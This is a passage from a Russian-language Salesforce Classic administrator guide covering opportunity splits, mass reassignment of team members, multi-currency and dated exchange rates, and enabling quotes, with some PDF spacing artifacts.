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Совет: Разрешаетсяиспользоватьнеболеепяти типовдолей, включаянеактивные типы. Чтобыпереименовать,
временнодеактивироватьилиудалитьтипыдолейбезвозможностивосстановления, откройтестраницунастройки
функции «Доли возможности» и нажмите кнопку «Редактировать типы доли». В отличие от деактивации,
удаление типов долей инициирует удаление данных о долях.

4. Нажмите кнопку «Сохранить».

5. Выберите нужные макеты страниц.

6. Чтобы добавить связанный список в настраиваемые макеты страниц, установите флажок «Добавить в настроенные
связанные списки пользователей».

7. Нажмите кнопку «Сохранить».

8. Чтобы разрешить быстрое изменение данных рабочих групп, установите флажок «Данный параметр позволяет
пользователямдобавлять участниковв группы, работающиес возможностями, приредактированиидолей»
после отображения сообщения Salesforce, уведомляющего о включении долей. (В противном случае, пользователи
могут быть добавлены в долю возможности только после их добавления в группу, работающую с возможностями.)

Совет: Дополнительнуюинформациюопредоставлениипользователямвозможностидобавлениядолейвпрогнозы
см. в разделе «Включение типов прогнозов для функции "Совместные прогнозы"».

Создание настраиваемых типов для долей возможностей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Unlimited Edition,
Performance Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания настраиваемых
типов долей для
возможностей:
• «Настройка

приложения»

Чтобыпредставитьбизнес-процессыболеенаглядно, рекомендуемсоздатьнастраиваемые
доли возможностей для полей валюты.

Чтобы включить поддержку настраиваемых типов долей для организации, обратитесь
в компанию Salesforce.

Прим.: Изменениетиповдолейвозможностейвыполняетсяфоновымпроцессом.
Уведомление о завершенииданногопроцесса будет отправленопользователюпо
эл. почте. Рекомендуемредактироватьдоливозможностейтолькопослезавершения
всех изменений.

1. Введите строку «Доли возможности» в поле «Быстрый поиск» в меню «Настройка»,
выберите пункт «Параметры» ищелкните «Редактировать типы долей».

2. Щелкните «+ Добавить новый тип доли».

3. Чтобы скрыть тип доли от пользователей, снимите флажок «Активно».

4. Введитеимядля типадоли. Имяотображаетсяпользователямтолькопослеактивации
типа доли.

5. Выберите нужное поле. Разделение поддерживается практически всеми полями
валюты, созданнымидля возможностей, включаянастраиваемыеполя валютыиполя
сводного резюмирования, но не полями валютыформулы.

6. При необходимости установите флажок «Сумма составляет 100%».

Как правило, сумма кредитов, предоставленных участникам рабочей группы, которые несут непосредственную
ответственность за возможность, составляет 100%.

7. Нажмите кнопку «Сохранить».
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Редактирование многострочных макетов долей возможности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
макетов:
• «Настройка

приложения»

•

Настройте поля, отображаемые системой Salesforce при редактировании долей
возможности.

Прим.: Многострочныемакетыдолейвозможностинеподдерживаютдобавление
полей типа «Область обогащенного текста» или раскрывающихся списков со
множественным выбором. Поля типа «Область обогащенного текста» и
раскрывающиесяспискисомножественнымвыбороммогутредактироватьсятолько
на страницах сведений о долях возможности.

1. Откройтестраницу «Макетыстраниц» посредствомпараметровдолейвозможностей.

2. Щелкните ссылку «Правка» напротив имени нужного макета.

3. Щелкнитессылку «Редактироватьмногострочныймакет» в верхнемправомуглу,
а затем добавьте нужные поля и измените порядок их отображения.

4. Нажмите кнопку «Сохранить».

Деактивация или удаление типов долей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для выключения или
удаления типов долей:
• «Настройка

приложения»

Типыдолеймогутбытьвременноскрытыилиудаленыбез возможностивосстановления.

Деактивация типадолиинициируетего удалениеизинтерфейса Salesforce безизменения
исходных данных; при необходимости деактивированный тип доли может быть
активирован повторно.

Удаление типа доли инициирует необратимое удаление всех связанных данных. Как
правило, тип доли удаляется при достижении установленного ограничения (пять типов
долей) с целью замены одного типа доли другим. При необходимости редко
используемыйтипдолитакжеможетбытьудаленсцельюувеличенияобъемахранилища
организации.

1. Введите строку «Доли возможности» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Параметры».

2. Нажмите кнопку «Редактировать типы доли».

3. Выполните одно из указанных ниже действий и нажмите кнопку «Сохранить».

• Чтобы деактивировать тип доли, снимите соответствующийфлажок в столбце
«Активно».

2138

Настройка групп сбытаНастройка и обслуживание инструментов продаж



• Чтобы удалить тип доли, щелкните значок в столбце «Удалить». (Если организация содержит большое
количество возможностей, то выполнение сценария, удаляющего типы долей, может занять несколько часов.)

СМ. ТАКЖЕ:

Выключение функции «Доли возможности»

Включение функции «Доли возможности» и типов долей

Выключение функции «Доли возможности»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отключения функции
«Доли возможности»:
• «Настройка

приложения»

Функция «Доли возможности» может быть выключена организацией, которая ею не
пользуется. Обратите внимание, что выключение инициирует удаление некоторых
типов связанных данных и является необратимым.

Ниже перечислены действия, инициируемые полным отключениемфункции «Доли
возможности».

• Доли всех возможностей, используемые в организации, удаляются.

• Отчеты по долям удаляются.

• Настраиваемые отчеты, созданные на основе шаблонов отчетов по долям,
сохраняются на вкладке «Отчеты», но становятся недоступными.

Внимание: Отключение функции «Доли возможности» является необратимым;
данные о долях удаляются без возможности восстановления.

1. Введите строку «Доли возможности» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Параметры».

2. Нажмите кнопку «Выключитьфункцию "Доли возможности"».

Если организация содержит большое количество возможностей, то выполнение
сценария, отключающего доли, может занять несколько часов.
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Обновление участников группы на нескольких записях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для пакетного обновления
участников рабочей группы:
• «Использование

мастеров
переназначения рабочей
группы»

Есливашаорганизация Salesforceиспользует группы, работающиесорганизациямиили
потенциальными клиентами, обновляйте записи простым способом. Используйте
мастера пакетного переназначения рабочей группы, чтобы добавлять, удалять и менять
местами участников группы в нескольких записях одновременно.

1. В разделе «Настройка» введите «Пакетное переназначение» в поле «Быстрый поиск»,
затемвыберитеПакетноепереназначениегрупп, работающихсорганизациями
илиПакетное переназначение групп, работающих с возможностями.

Появляется страница первого этапа мастера.

2. Завершите мастера, следуя инструкциям.

3. Просмотрите количество измененных записей и затем нажмите на «Готово» для
выхода из мастера.

СМ. ТАКЖЕ:

Рекомендации по обновлению участников группы в нескольких записях

Настройка групп, работающих с возможностями

Рекомендации по обновлению участников группы в
нескольких записях
Нижеприведеныфакторы, которыеследуетпринятьвовниманиеприиспользованиимастеровпереназначениярабочей
группы.

• Если в меню «Настройка» отсутствуют параметры «Пакетное переназначение групп, работающих с
потенциальными клиентами» или «Пакетное переназначение групп, работающих с потенциальными
клиентами», перейдите на страницу организаций или возможностей и откройте раздел «Инструменты».

• Если организация используетфункцию «Доли возможности», то удаление участника рабочей группы, назначенного
доли, которая должна составлять 100%, инициируетперенос его долиответственному за возможность. Ответственный
за возможность не может быть удален.

• При выборе участников группы, подлежащих изменению:

– При использовании групп, работающих с организациями, выберите соответствующий уровень доступа к
организациям, контактам, обращениям и возможностям.

– При использовании групп, работающих с потенциальными клиентами, выберите соответствующий уровень
доступа к возможности. Заполните настраиваемые поля, если они заданы и добавлены в макет страницы групп,
работающих с потенциальными клиентами.
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Управление валютами

Управление мультивалютой

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра валют:
• «Просмотр настройки и

конфигурации»

Для изменения валют:
• «Настройка

приложения»

Организация позволяет настроить поддержку мультивалюты для возможностей,
прогнозов, смет, отчетов и других данных.

1. Включите мультивалюту в организации.

2. Чтобыназначитькорпоративнуювалюту, вразделе «Настройка» введите «Управление
валютами» в поле «Быстрый поиск», затем выберите «Управление валютами»,
после чего щелкните «Изменить корпоративную».

3. Чтобыактивироватьдополнительныевалюты, нажмитекнопку«Создать»всвязанном
списке «Активные валюты».

4. Чтобыиспользоватьдатированныекурсыобмена, включитефункциюрасширенного
управления валютами.

5. Введитекурсыобменадляновыхвалют. См. раздел «Редактированиекурсовобмена».
Если организация использует функцию расширенного управления валютами, см.
раздел «Редактирование датированных курсов обмена» на странице 2149.

Использование мультивалюты
Международные организации могут использовать мультивалюту в возможностях,
прогнозах, отчетах, сметахи другихполях валюты. Валюта компании, соответствующая
валюте головного офиса организации, настраивается администратором. Кроме того,
администратор определяет список активных валют и их курсы обмена относительно
валютыкомпании. Активныевалюты — этовалютыстран, гдеорганизацияосуществляет
коммерческуюдеятельность. Поля стоимостив валютепозволяютиспользовать только
активные валюты.

Каждому пользователю назначается личная валюта, которая используется по умолчанию в планах продаж, прогнозах (в
зависимостиотиспользуемойверсиифункциипрогнозирования), потенциальныхсделках, сметахиотчетах. Пользователи
могут также создавать возможности и вводить стоимости посредством других активных валют.

Записи всех стандартныхинастраиваемыхобъектов, содержащиеполя валюты, имеютполе, которое определяет валюту
для использования во всех полях стоимости данной записи. (Чтобы просмотреть данное редактируемое поле «Валюта»
записи, щелкните «Правка».) Например, назначьте полю «Валюта организации» значение «Доллары США» для
отображения значенияполя «Годовой доход» однойиз американскихорганизаций в долларах. Все стоимости в валюте
отображаются в стандартной валюте записи. Необходимость отображения личной валюты пользователя (в скобках),
отличающейсяотвалютызаписи, определяетсяадминистраторами. Изменениестандартнойвалютызаписинеинициирует
преобразование стоимостей в валюте. Они немедленно отображают новый код валюты.

Прим.: Еслиорганизацияиспользуетфункциюрасширенногоуправлениявалютами, тодата закрытиявозможности
определяет курс обмена, который должен использоваться при отображении стоимостей в валюте.

В зависимости от используемой версии функции прогнозирования, стоимости прогнозов в валюте преобразуются в
личнуювалютупользователя. Крометого, возможности, прогнозы, сметыидругиеданныерабочейгруппыпреобразуются
и отображаются в личной валюте ее менеджера. При необходимости менеджер может детализировать данные для их
просмотра в национальной валюте. Любое преобразование или сведение выполняется автоматически.
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Отчеты отображают стоимости в исходных валютах, но поддерживают отображение в любой активной валюте. Чтобы
изменить валюту, используемую для отображения итоговых данных отчета, выберите нужную валюту путем
последовательного выбора пунктов «Показать» > «Валюты». По умолчанию используется личная валюта. При
необходимости разрешите отображение столбца преобразованной стоимости (например, «Годовой доход
(преобразовано)»), показывающего стоимости в выбранной валюте.

Полянастраиваемойформулынеимеютотдельнойсвязаннойвалюты. Стоимостьввалюте, возвращаемаяполемформулы,
отображается в валюте связанной записи. Данное правило также распространяется на формулы кросс-объектов,
ссылающиесянаполя слияния с другимивалютами, а такженаформулы, используемыебизнес-правиламиипроцессами
утверждения. Темнеменее, бизнес-правилаипроцессыутверждения, использующиефильтрывместоформул, преобразуют
все значения валюты в валюту компании.

Приналичииполей валюты, используемыхкодомApex, поддержкамультивалютынеможет быть выключена. Например,
если код Apex ссылается на поле «Валюта организации»  (представлено в коде как CurrencyIsoCode), то поддержка
мультивалюты не может быть выключена.

СМ. ТАКЖЕ:

Использование нескольких видов валют

Использование нескольких видов валют

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Чтобы включить мультивалюту в организации, выполните указанные ниже действия.

1. Просмотрите возможные последствия включения мультивалюты.

2. В разделе «Настройка» введите «Сведения о компании» в поле «Быстрый поиск»,
затем выберите «Сведения о компании» ищелкните «Изменить». Убедитесь, что
выбранный регион валюты соответствует стандартной валюте, которая должна
использоваться в текущих и новых записях. Установите флажок «Разрешить
поддержку для активации мультивалюты» и сохраните внесенные изменения.

Прим.: Данныйпараметриспользуетсядляпроверкиконкретнойорганизации,
утвержденной для активации мультивалюты. Данный параметр не отправляет
запросв компанию Salesforce. Отправьте запрос, используяобычнуюпроцедуру
обращения в службу поддержки.

3. Чтобы включить использование нескольких видов валют, обратитесь в службу поддержки Salesforce. Подготовьте
указанные ниже данные.

• Код организации (производственная или безопасная среда).

• Подтверждение согласия на использование текущего региона валюты в качестве стандартной метки валюты для
текущих и новых записей (USD, EUR, GBP и т. д.).

• Подтверждение согласия на необратимость включения мультивалюты.

• Подтверждение того, что вы являетесь системным администратором с полномочиями запрашивать включение
использования нескольких видов валют от организации

• Подтверждение согласия на блокировку вашей организации на некоторый период в зависимости от объема
данных, используемых в вашей организации
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Прим.: Чтобыизбежатьпроблемпроизводительностиврабочиедни, крупныеорганизациииногдавключают
поддержку мультивалюты в выходные.

СМ. ТАКЖЕ:

Последствия включения мультивалюты

Управление мультивалютой

Общие сведения о функции расширенного управления валютами

Последствия включения мультивалюты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Включение мультивалюты инициирует необратимое изменение организации. Прежде
чем продолжить работу, просмотрите возможные последствия ниже.

• Включение мультивалюты является необратимым.

• Чтобы определить оптимальное время включения мультивалюты, обратитесь к
представителю Salesforce. Процесс активации временно блокирует организацию.
Приэтомневозможновыполнитьинтеграциюивойтивсистему. Продолжительность
блокировки определяется используемым в организации пространством данных.

• Привключенииданнойфункциивсемтекущимзаписямприсваиваетсястандартный
код валюты, указанный в запросе на активацию. Например, если организация
содержит записи, использующие валюты USD и EUR, то всем записям должна быть
назначенаоднастандартнаявалютапередвключениемфункции. Поддержкаданного
типа преобразования предоставляется компанией Salesforce за дополнительную
плату.

• Мультивалюта поддерживается стандартными и настраиваемыми объектами (например, организации, интересы,
обращения, возможности, продукты возможностей, расписания продуктов возможностей и возможности кампаний),
содержащимиполя валюты. Кроме того, мультивалюта поддерживается отчетами, связанными с даннымиобъектами
и полями. По умолчанию макеты страниц для данных объектов содержат совместимые поля мультивалюты,
позволяющиевыбиратьвалюту записи. Какправило, данныеполядоступнытолькоприсозданииилиредактировании
записи. Выбранная валюта используется основным полем стоимости.

• Послевключенияданнойфункцииосновнаявалютаотображаетсякакобычно, адополнительнаявалютаотображается
в круглых скобках. Обычноосновная валюта соответствует стандартной валюте компании, кроме переопределенных
записей. Стоимость, отображаемая в круглых скобках, соответствует личной стандартной валюте пользователя и
рассчитывается согласно параметрам курса обмена, заданным в организации. Чтобы разрешить или запретить
отображение преобразованной стоимости, включите или отключите функцию преобразования валюты в скобках
на странице «Управление валютами».

• Основная валюта отчета соответствует стандартной валюте компании или валюте, выбранной для записи.
Дополнительная валюта отчета соответствует личной стандартной валюте текущего пользователя или валюте,
указанной в критериях отчета.

• Чтобы задать личную стандартную валюту, откройте страницу личных сведений. Если организация использует
функцию преобразования валюты в скобках, то личная стандартная валюта отображается как дополнительная
(преобразованная) стоимость. Изменение личной стандартной валюты инициирует обновление преобразованной
стоимости в режиме реального времени.

• Валюта, добавленная в список поддерживаемых валют организации, не может быть удалена из списка валют
администратора, несмотря на деактивацию. Наличие неактивных валют в списке администратора не влияет на
конечных пользователей. В отличие от администраторов, деактивированная валюта недоступна конечным
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пользователям. Компания Salesforceрекомендует учитыватьданнуюособенностьпритестированиивалютивыбирать
только те валюты, которые предназначены для использования в организации.

• После влючения данной функции все поля валюты отображают код ISO перед стоимостью. Например, значение
«$100» отображается как «USD 100».

Прим.: Если мультивалютная организация использует только одну валюту, то коды ISO могут быть заменены
символамивалюты. Чтобыразрешитьотображениесимволоввалюты, найдитестраницу «Интерфейс пользователя»
в меню «Настройка» и установите флажок «Показывать символы валюты вместо кодов ISO» в разделе
«Параметрыотображениявалюты». Последующеевключениедополнительныхвалютинициируетотображение
кодов ISO и недоступность данного параметра. Данный параметр поддерживается только стандартным
пользовательским интерфейсом Salesforce.

• По умолчанию все преобразованные стоимости основываются на текущих курсах обмена, заданных в организации.
Курсы обмена должны задаваться и обновляться вручную. Изменение курса обмена инициирует автоматическое
обновление преобразованных стоимостей во всех записях, включая закрытые возможности.

Чтобы применить датированные курсы обмена, воспользуйтесь функцией расширенного управления валютами,
поддерживающей отслеживание архивных курсов обмена. Функция расширенного управления валютами позволяет
хранить список курсов обмена по диапазону дат. Преобразованные стоимости возможностей отображаются по
выбранной дате закрытия, независимо от этапа возможности. Изменение даты закрытия, выполняемое путем выбора
другого периода курса обмена, влияет на преобразованные стоимости.

Прим.: Датированные курсы обмена не поддерживаются прогнозами, а также полями валюты других объектов
или других типов отчетов.

СМ. ТАКЖЕ:

Использование нескольких видов валют

Управление мультивалютой

Общие сведения о функции расширенного управления валютами
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Активация и отключение валюты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра валют:
• «Просмотр настройки и

конфигурации»

Для изменения валют:
• «Настройка

приложения»

Для мультивалютных организаций можно выбирать поддерживаемые валюты
посредством их активации или отключения.

• Активные валюты — это валюты стран, где организация осуществляет
коммерческую деятельность. Возможности, прогнозы и прочие элементы могут
использовать только активные валюты. Активная валюта не может быть удалена без
возможности восстановления.

• Неактивные валюты — это валюты, которые больше не используются
организацией. Неактивные валюты могут использоваться в текущих записях, но
недоступны для ввода новых сумм.

Чтобы активировать новые валюты, выполните указанные ниже действия.

1. Введите строку «Управление валютами» в поле «Быстрый поиск» и выберите пункт
«Управление валютами».

2. Нажмите кнопку «Создать» в связанном списке «Активные валюты».

3. Выберите нужную валюту. Валюты отображаются в алфавитном порядке по коду
ISO.

4. Введите курс обмена относительно валюты компании.

5. Укажите количество знаков после запятой для отображения сумм в данной валюте.

6. Нажмите кнопку «Сохранить».

Чтобы активировать валюту из списка неактивных валют, щелкните «Активировать»
напротив нужной валюты.

Чтобы деактивировать валюту, щелкните «Деактивировать» напротив нужной валюты. Вы не можете отключить
корпоративную валюту. Деактивация валюты не изменяет суммы в элементах, использующих данную валюту. Тем не
менее, неактивная валюта не может использоваться для ввода новых сумм.

Прим.: Деактивация валюты, выбранной в качестве личной валюты пользователя, автоматически назначает
пользователю валюту компании.

СМ. ТАКЖЕ:

Управление мультивалютой

Изменение курсов обмена

Общие сведения о функции расширенного управления валютами
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Общие сведения о функции расширенного управления валютами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения функции
расширенного управления
валютами:
• «Настройка

приложения»

Для просмотра валют:
• «Просмотр настройки и

конфигурации»

Для изменения валют:
• «Настройка

приложения»

Функция расширенного управления валютами позволяет управлять датированными
курсами обмена в возможностях посредством Salesforce. Датированные курсы обмена
позволяют соотносить курс обмена с конкретным диапазоном дат. Например, 1 января
курс обмена составлял 1,39 Евро за 1 доллар США, а 1 февраля повысился до 1,42 Евро.
В этом случае возможности, закрытые в диапазоне 1 января—1 февраля, используют
первый курс обмена (1 доллар США=1,39 Евро), тогда как возможности, закрытые
1 февраля или позже, используют второй курс обмена (1 доллар США=1,42 Евро).

Датированныекурсыобменаопределяютсядатойначалаикурсомобмена. Каждыйкурс
действителендодатыокончанияилидодня, предшествующегоследующейдатеначала.
Время между первой и следующей датами начала называется диапазоном дат курса
обмена. Данные диапазоны могут иметь любую продолжительность.

Дополнительнуюинформациюовключенииилиотключениифункциирасширенного
управлениявалютамисм. вразделе «Включениеилиотключениефункциирасширенного
управления валютами» на странице 2147.

При первом включениифункции расширенного управления валютами текущие курсы
обменаавтоматическистановятсяпервымнаборомдатированныхкурсовобмена. Данные
курсы действительны до определения другого набора курсов обмена. Дополнительную
информациюсм. вразделе «Редактированиедатированныхкурсовобмена»на странице
2149.

После отключения функции расширенного управления валютами любые
преобразования валюты используют статические курсы обмена. См. раздел
«Редактирование курсов обмена» на странице 2148.

Прим.: Хотя датированные курсы обмена не поддерживаются в версиях Lightning
Experience или Salesforce1, в них доступны некоторые ограниченные функции. В
разделе коммерческих возможностей отображаются верные суммы, если поле
CloseDate (дата закрытия) отображается в макете страницы коммерческих
возможностей. Поскольку макеты страниц позволяют задать права просмотра
объектов записи, только пользователи с этим уровнем страницы видят верную
сумму. Иначе в отображаемой сумме отражается первоначальная сумма перед
применением датированного курса обмена валют

Рекомендации по использованию функции расширенного управления валютами
• Датированные курсы обмена предназначены для возможностей, продуктов возможности, расписаний продуктов

возможности, полейвозможностикампании, долейвозможностииотчетов, связанныхсданнымиобъектамииполями.
Датированные курсы обмена не поддерживаются прогнозами, а также полями валюты других объектов или других
типов отчетов.

• Организации, использующиефункцию расширенного управления валютами, поддерживают соотнесение полей
сводного резюмирования между двумя объектами расширенного управления валютами. Например, поля сводного
резюмирования в объекте строки возможности соотносятся с полями соответствующего объекта возможности, так
какобаобъектаподдерживаютфункциюрасширенногоуправлениявалютами. Еслиорганизацияиспользуетфункцию
расширенного управления валютами, топользовательнеможет создаватьполя сводногорезюмированиядлярасчета
валюты объекта возможности, сводимого к объекту организации, а также не может фильтровать поле валюты
возможности, доступное в объекте организации. Все текущие поля сводного резюмирования объекта возможности,
связанные с валютой, отключаются, а их значения больше не вычисляются. Если организация включает функцию
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расширенногоуправлениявалютами, толюбыеполя сводногорезюмированиявалюты, использующиевозможности
и организации или возможности и настраиваемые объекты, должны быть удалены.

• Полявозможностикампаниииспользуютдатированныекурсыобменапривычислениистоимостиввалютекампании,
но не используют при преобразовании полученных стоимостей в валюту пользователя.

• Формулы кросс-объектов всегда используют статический курс обмена для преобразования валюты.

• Еслиорганизацияиспользуетфункциюрасширенногоуправлениявалютами, то страницыVisualforce, использующие
компонент <apex:inputField> или <apex:outputField>, не могут быть связаны с полями валюты,
поддерживающими даннуюфункцию.

СМ. ТАКЖЕ:

Управление мультивалютой

Активация и отключение валюты

Включение или отключение функции расширенного управления валютами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения функции
расширенного управления
валютами:
• «Настройка

приложения»

Чтобывключитьфункциюрасширенногоуправлениявалютами, выполнитеуказанные
ниже действия.

1. Включитемультивалютуворганизации. Дополнительнуюинформациюсм. вразделе
«Управление мультивалютой» на странице 2141.

2. Введите строку «Управление валютами» в поле «Быстрый поиск» и выберите пункт
«Управление валютами».

3. Щелкните «Включить».

4. Установите флажок «Да, включить функцию расширенного управления
валютами» и нажмите кнопку «Включить».

При первом включениифункции расширенного управления валютами текущие курсы
обменаавтоматическистановятсяпервымнаборомдатированныхкурсовобмена. Данные
курсы действительны до определения другого набора курсов обмена.

Чтобыотключитьфункциюрасширенногоуправлениявалютами, выполнитеуказанные
ниже действия.

1. Введите строку «Управление валютами» в поле «Быстрый поиск» и выберите пункт
«Управление валютами».

2. Щелкните «Отключить».

3. Установите флажок «Да, отключить функцию расширенного управления
валютами» и нажмите кнопку «Отключить».

Послеотключенияфункциирасширенногоуправлениявалютамилюбыепреобразованиявалютыиспользуютстатические
курсы обмена. См. раздел «Редактирование курсов обмена» на странице 2148.

Если организация использует функцию расширенного управления валютами, то компоненты Visualforce
<apex:inputField> и <apex:outputField> не могут отображать поля валюты.

СМ. ТАКЖЕ:

Общие сведения о функции расширенного управления валютами

2147

Управление валютамиНастройка и обслуживание инструментов продаж



Изменение курсов обмена

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра валют:
• «Просмотр настройки и

конфигурации»

Для изменения валют:
• «Настройка

приложения»

Изменениефиксированных курсов обмена позволяет управлять курсами обмена между
активными или неактивными валютами и валютой компании. Данные курсы обмена
являются статическими и применяются ко всем полям валюты, используемым в
организации. Кромеданныхкурсовобмена, некоторыеорганизациимогутиспользовать
датированные курсы обмена для возможностей и продуктов возможностей.

1. Настройка поиска для управления валютами.

2. Если включена функция расширенного управления валютами, щелкните
«Управление валютами».

3. Щелкните «Редактироватькурсы» в списке «Активные валюты» или «Неактивные
валюты».

4. Введите курс обмена между каждой валютой и валютой компании.

5. Нажмите кнопку «Сохранить».

При изменении курсов обмена обновление сумм в валюте выполняется посредством
новых курсов. Предыдущие курсы обмена не сохраняются. Обновление возможностей,
прогнозов и других стоимостей выполняется посредством текущего курса обмена.

Если организация использует функцию расширенного управления валютами, то
пользователимогут также управлять датированнымикурсамиобмена дляполей валюты
в возможностях и продуктах возможностей.

Прим.:

• Увеличениеилиснижениедоходанаосновеколебаниякурсоввалютнедоступно
для отслеживания.

• Изменениекурсаобменавалютинициируетпакетныйпересчетполейсводного
резюмирования. Этот перерасчет может занять до 30 минут, в зависимости от
количества измененных записей.

• Курс обмена валютможно также изменить с использованием API. Однако, если
выполняется другой пакетный перерасчет поля сводного резюмирования для
этой же валюты, срок выполнения этого задания повлияет на выполнение
запущенного вами задания. Если запросить изменение курса обмена через API
во время выполнения схожего задания, происходит следующее.

– Если другое задание перерасчета этого поля курса обмена запущено менее
24 часов назад, новое изменение курса обмена не сохраняется. Можно
повторить попытку позже или изменить курс обмена через «Управление
валютами» в меню «Настройка». При выполнении изменения через меню
«Настройка» будет остановлено предыдущее задание и запущен новый
перерасчет.

– Если другое задание перерасчета запущено более чем 24 часа назад, можно
сохранитьизменениекурсаобмена валют, послечегобудет запущеноновое
задание.
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Проверить состояние задания перерасчета можно на странице «Фоновые задания» в меню «Настройка».

СМ. ТАКЖЕ:

Установка личной валюты или валюты организации

Общие сведения о функции расширенного управления валютами

Управление мультивалютой

Активация и отключение валюты

Редактирование датированных курсов обмена

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра валют:
• «Просмотр настройки и

конфигурации»

Для изменения валют:
• «Настройка

приложения»

Чтобыдобавитьновыедатированныекурсыобмена, выполнитеуказанныенижедействия.

1. Введите строку «Управление валютами» в поле «Быстрый поиск» и выберите пункт
«Управление валютами».

2. Щелкните «Управление датированными курсами обмена».

3. Нажмите кнопку «Создать курсы обмена».

4. Введите дату активации курсов обмена.

5. Введите курсы обмена.

Прим.: По умолчанию курсу обмена назначается текущий курс. Чтобы не
задавать новый курс обмена валюты, удалите курс обмена (пропустите поле).

6. Чтобысохранитьновыедатированныекурсыобмена, нажмитекнопку «Сохранить».

Чтобы просмотреть текущие датированные курсы обмена, выполните указанные ниже
действия.

1. Введите строку «Управление валютами» в поле «Быстрый поиск» и выберите пункт
«Управление валютами».

2. Щелкните «Управление датированными курсами обмена».

3. Чтобы выбрать диапазон дат для просмотра, введите нужнуюдату инажмите кнопку
«Начать» илищелкните ссылку «Предыдущий диапазон» или «Следующий
диапазон».

Чтобы удалить датированный курс обмена для отдельной валюты, выполните указанные ниже действия.

1. Введите строку «Управление валютами» в поле «Быстрый поиск» и выберите пункт «Управление валютами».

2. Щелкните «Управление датированными курсами обмена».

3. Щелкните имя нужной валюты.

4. Щелкните ссылку «Удал.» напротив нужного диапазона дат.

Если нужный диапазон дат отсутствует, введите его в поле «Показать все курсы с датами начала, заданными
между» и нажмите кнопку «Начать».

Чтобы изменить датированные курсы обмена для отдельной валюты, выполните указанные ниже действия.

1. Введите строку «Управление валютами» в поле «Быстрый поиск» и выберите пункт «Управление валютами».

2. Щелкните «Управление датированными курсами обмена».
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3. Щелкните имя нужной валюты.

4. Щелкните ссылку «Правка» напротив нужного диапазона дат. Если нужный диапазон дат отсутствует, введите его в
поле «Показать все курсы с датами начала, заданными между» и нажмите кнопку «Начать».

5. Чтобы изменить курс обмена, введите новое значение диапазона дат и нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Общие сведения о функции расширенного управления валютами

Управление мультивалютой

Активация и отключение валюты

Включение и настройка смет

Включение смет

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения или
отключения смет:
• «Настройка

приложения»

Использованиесметпозволяет торговымпредставителямпередавать клиентамсведения
о ценах на продукты и услуги.

1. В разделе «Настройка» введите «Параметры смет» в поле «Быстрый поиск», затем
выберите «Параметры смет».

2. Установите флажок «Включить сметы».

3. Сохраните внесенные изменения.

4. Чтобы добавить связанный список «Сметы» в стандартный макет страницы
возможности, установите флажок «Макет возможности».

5. Чтобы добавить связанный список «Сметы» во все макеты страниц возможностей,
настроенныепользователями, установитефлажок «Добавить в настройки личного
связанного списка пользователей».

6. Сохраните внесенные изменения.

Прим.: Сметы нельзя отключить в следующих случаях:

• При наличии записей, ссылающихся на сметы, элементы строки сметы или
PDF-сметы, используемые любыми компонентами приложения, в том числе
полями формул, триггерами, бизнес-правилами и процессами утверждения.
Чтобы отключить функцию «Сметы», удалите имеющиеся ссылки.

• Сметасинхронизируетсясвозможностью. Чтобыотключитьфункцию «Сметы»,
